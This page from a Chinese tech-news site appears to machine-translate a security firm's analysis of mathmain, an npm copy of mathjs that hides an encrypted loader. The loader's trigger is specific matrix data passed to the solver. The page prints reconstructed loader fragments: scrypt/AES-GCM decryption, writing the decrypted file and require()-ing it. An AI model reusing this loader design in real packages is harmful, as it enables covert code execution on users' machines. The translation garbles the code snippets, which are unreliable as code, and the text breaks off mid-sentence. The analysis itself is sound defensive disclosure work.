首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 汽车 游戏 社会热点 开源推荐 医疗健康 归档 标签 关于

为什么 NPM 数学库需要加密加载器?

摘要

We found a remote access implant hidden inside [email protected] , an npm package that copies the popular mathjs library. The malicious code ships encrypted. It stays dormant until a program solves a ...

the and The const solver password found package code with
2026-09-22 1 阅读 约7分钟阅读 abhisek
分享:
字号:
我们在 [email protected] 中发现了一个隐藏的远程访问植入程序,这是一个复制流行的 mathjs 库的 npm 包。恶意代码已加密发送。它会保持休眠状态,直到程序使用库求解特定方程。这个方程是关键。当密钥匹配时,包会解密有效负载并运行它。有效负载从攻击者处获取命令并在主机上运行它们。它使用公共聊天服务和区块链网络作为其命令通道。这篇文章展示了我们如何找到加载程序、如何解密它、有效负载的作用以及可用于查找它的指示器。我们于 2026 年 9 月 17 日开始对 mathmain 进行 SafeDep 分析。该软件包看起来像是 mathjs 的副本,具有不同的名称和混淆的代码。求解器中添加的一个调用将我们引导至加载器。求解器调用类型检查 在 lusolve() 接近尾声时,我们在 CommonJS 构建中发现了一个额外的调用。求解器已经计算出了结果。然后,它将数据从下三角矩阵传递到removeSolveValidation(): // 可读重建:恢复字符串并重命名局部变量。 l && (q = removeSolveValidation (l._data));这里,l 保存下三角矩阵,x 保存结果。求解器返回 x 不变。它将额外调用的返回值分配给 q ,但不再使用 q 。我们在 lib/cjs/utils/is.js 中遵循removeSolveValidation() 到 isGraph(x) 。该文件包含 isMatrix 和 isNumber 等检查。添加的 isGraph() 函数解密并加载代码: // 可读重建:恢复字符串并重命名局部变量。 const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==' ;常量密码 = JSON 。字符串化(x); const 名称 = validEvent ( STAGE1_BLOB , 密码);常量目标=路径。加入 (__dirname, 名称); const mod = require ( event (目标, 密码)); return (x && mod.validGraph(密码)) ||错误的 ; isGraph() 将其输入转换为 JSON 字符串并使用该字符串作为密码。它首先解密文件名。然后它将文件路径和密码传递给 event() ,并使用 require() 加载返回的路径。我们通过恢复字符串和重命名局部变量使加载程序片段更易于阅读。本文末尾的哈希值标识了原始文件。矩阵数据成为密码 在 lib/cjs/utils/event.js 中,我们找到了解密函数。他们使用 scrypt 将密码转换为 256 位的密钥。然后,他们使用 Galois/Counter 模式下的高级加密标准 (AES-GCM) 解密数据: // 可读重建:恢复字符串并重命名局部变量。常量密钥 = 加密。 scryptSync(密码,盐,32); const 解密 = 加密。 createDecipheriv('aes-256-gcm',密钥,iv);解码。 setAuthTag(标签);返回缓冲区。 concat([decipher.update(密文),decipher.final()]);加密数据具有固定的布局:16字节的盐、12字节的初始化向量和16字节的认证标签。这些字段后面是密文。该包将整个序列存储为 base64 文本。对于通过求解器进行的调用,密码为 JSON.stringify(L._data) 。调用者可以通过 lusolve() 的对象形式提供 L。因此调用者必须传递产生正确密码的矩阵数据。我们发现可见加载程序中没有存储密码。加密的文件名有八个字节的密文。我们怀疑它命名为 graph.js ,这是加载器旁边的一个文件,其名称也占用八个字节。我们无法确认这一点,因为我们没有恢复密码。加载器写入并运行文件 event() 帮助程序解密文件,将结果写入磁盘,并返回输出路径: // 可读重建:恢复字符串并重命名局部变量。 const plaintext = eventEmitter (文件, 密码);常量目录 = 路径。 dirname(路径.resolve(文件));常量基数 = 路径。基本名称(文件)。替换 (/^enc_/, '');常量 outPath = 路径。加入(目录,基址); FS。 writeFileSync(outPath, 明文);如果文件名没有 enc_ 前缀,则帮助程序将使用解密的代码覆盖加密的文件。 isGraph() 中的 require() 调用然后加载它。该代码将以与 Node.js 进程相同的权限运行。添加的三个文件包含 base64 数据而不是普通 JavaScript: lib/cjs/utils/ 下的路径 密文大小(以字节为单位) graph.js 20,918fraction.js 9,084 bignumber/type.js 1,179,416 我们在可见加载器中没有发现对最后两个文件的引用。解密的 graph.js 在后续阶段加载它们,如有效负载部分所示。我们在清单中没有发现安装挂钩。通过我们检查的路径导入包也不会激活加载程序。求解器必须首先通过其验证和计算步骤才能达到添加的调用。如果密码错误,则在帮助程序写入任何文件之前 validEvent() 将无法通过身份验证检查。相同的加载器出现在另外两个包中我们搜索了 npm 注册表并发现了另外两个包:mathsbase 和 m
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱